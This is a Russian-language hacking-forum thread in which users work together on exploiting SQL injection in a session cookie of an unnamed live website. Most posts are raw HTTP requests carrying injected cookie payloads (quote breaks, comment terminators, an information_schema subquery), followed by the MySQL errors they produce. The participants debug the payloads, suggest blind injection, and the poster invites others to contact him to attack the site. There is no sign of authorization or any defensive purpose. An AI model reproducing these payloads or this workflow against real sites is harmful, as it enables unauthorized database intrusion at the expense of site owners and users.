PDA

Просмотр полной версии : Вопрос по sql-inj в кукисах


AFoST
25.12.2007, 00:37
Нашёл скул на сайте в куках. подставляем ковычку - выдает ошибку. Пробую раскрутить, а сервер каким-то макаром по-разному отвечает на изменения в запросе...Например, получается так:

Первый запрос

GET http://<ЦЕНЗУРА>/ HTTP/1.0
Accept: */*
Accept-Language: ru
Host: <ЦЕНЗУРА>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=n0u21994ig02q51f6ka36vgk12'/*

error near чета-там...
INSERT INTO online (uid, par2, lastdate, location, useragent, ip, proxy ) VALUES(0, 'n0u21994ig02q51f6ka36vgk12' and 1=0/*', 1198519416, '%mainpage%', '', '85.214.66.61', '85.214.66.61')

Соответственно, я пытаюсь собственноручно заполнить INSERT и получается вот что:

GET http://<ЦЕНЗУРА>/ HTTP/1.0
Accept: */*
Accept-Language: ru
Host: <ЦЕНЗУРА>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '' , '1.1.1.1', '1.1.1.1')/*

error near чета-там...
SELECT COUNT(*) as count FROM online WHERE par2='n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '' , '1.1.1.1', '1.1.1.1')/*[/


Так и получается, что я пытаюсь сделать правильный на мой взгляд запрос, а сервес сцуко, каким-то макаром меняет ответ когда не надо >:0

В чем проблема?

Macro
25.12.2007, 00:48
По моему дело в пробелах. В запросах пробелы надо урлэнкодить. Попробуй их просто избежать :)

AFoST
25.12.2007, 00:53
Macro, хм..счас попробую...
А пока вот эти 2 запроса меня больше всего настораживают =)


GET http://<censored>/ HTTP/1.0
Accept: */*
Accept-Language: ru
User-Agent: 123
Host: <censored>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=n0u21994ig02q51f6ka36vgk12'/*, 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')/*, 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*'' at line 1
Error Number:1064
INSERT INTO online (uid, session, lastdate, location, useragent, ip, proxy ) VALUES(0, 'n0u21994ig02q51f6ka36vgk12'/*, 1198519416, '%mainpage%', 'm' , '1.1.1.1', '1.1.1.1')/*', 1198521938, '%mainpage%', '123', '128.197.11.30', '128.197.11.30')




GET http://<censored>/ HTTP/1.0
Accept: */*
Accept-Language: ru
User-Agent: 123
Host: <censored>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*'' at line 1
Error Number:1064
SELECT COUNT(*) as count FROM online WHERE session='n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*

Scipio
25.12.2007, 00:53
ну а что тут непонятно?

есть два запроса, один INSERT другой SELECT
есть переменная par2, которая используется в первом и во втором запросе
второй твой пример показывает, что первый запрос прошел успешно
т.к. после подстановки твоих значений из par2 в INSERT они корректные именно для INSERT, но не для SELECT, второй запрос выдает ошибку... у меня сейчас башка не варит, но я думаю, что из запроса SELECT ты ничего вынешь (не получится) т.к. сначала идет INSERT и в случае неккоректности выкидывает ошибку, и данные из par2 в SELECT не поступают, почитай статью Elekt`a там написано про BLIND-inj, может получится что нить из этого получить

AFoST
25.12.2007, 01:06
Macro,дело не в пробелах :(
Вот ещё, что заметил...par2-это сессия. После того, как мне на сайте "завели" сессию, то пока она жива, корректно выполняется запрос:


GET http://<CENSORED>/ HTTP/1.0
Accept: */*
Accept-Language: ru
User-Agent: m
Host: <CENSORED>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=rih9c1888t9kormjhuvsf537d4' or 1=(select 1 from information_schema.tables limit 1 offset 1)/*


Как сессия "умирает", запрос становится некорректен. Кроме блайнда что-нибудь здесь светит? Ещё пробвал вывести данные в файл, но папку на запись не нашёл :(

Macro
25.12.2007, 01:12
Кстати, скобка в этом запросе лишняя

GET http://<censored>/ HTTP/1.0
Accept: */*
Accept-Language: ru
User-Agent: 123
Host: <censored>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*'' at line 1
Error Number:1064
SELECT COUNT(*) as count FROM online WHERE session='n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1')/*


Надо


GET http://<censored>/ HTTP/1.0
Accept: */*
Accept-Language: ru
User-Agent: 123
Host: <censored>
Pragma: no-cache
Cookie: par1=i3p60aq8vi58aotontiekgvdr4; par2=n0u21994ig02q51f6ka36vgk12', 1198519416, '%mainpage%', '123' , '1.1.1.1', '1.1.1.1'/*

AFoST
25.12.2007, 01:14
Macro, она была бы верно поставлена, если б сервер ответил так, как я ожидал :)

Macro
25.12.2007, 01:16
Macro, она была бы верно поставлена, если б сервер ответил так, как я ожидал :)
Совет #1 Никогда ничего не предвосхищай :)
А вообще, так тут тебе вряд ли сильно помогут, линк в студию или пиши кому-нить знакомому в пм.

Scipio
25.12.2007, 01:17
скобка нужна для Insert

AFoST
25.12.2007, 01:19
Macro, хост не хочу палить, там ресурс полезный =)

Macro
25.12.2007, 01:22
Macro, хост не хочу палить, там ресурс полезный =)
Думаю Scipio прав, вряд ли тут выдет чего кроме blind sql inj

AFoST
25.12.2007, 01:24
Видео сниму, если получится чего...

AFoST
25.12.2007, 01:35
ну а что тут непонятно?

есть два запроса, один INSERT другой SELECT
есть переменная par2, которая используется в первом и во втором запросе
второй твой пример показывает, что первый запрос прошел успешно
т.к. после подстановки твоих значений из par2 в INSERT они корректные именно для INSERT, но не для SELECT, второй запрос выдает ошибку... у меня сейчас башка не варит, но я думаю, что из запроса SELECT ты ничего вынешь (не получится) т.к. сначала идет INSERT и в случае неккоректности выкидывает ошибку, и данные из par2 в SELECT не поступают, почитай статью Elekt`a там написано про BLIND-inj, может получится что нить из этого получить
+1 так и есть. Спасибо.

Будем дальше капать....

AFoST
25.12.2007, 01:44
Сдаюсь...Если кому интересно попробовать силы, стучитесь 87дивятко403восьмёрко...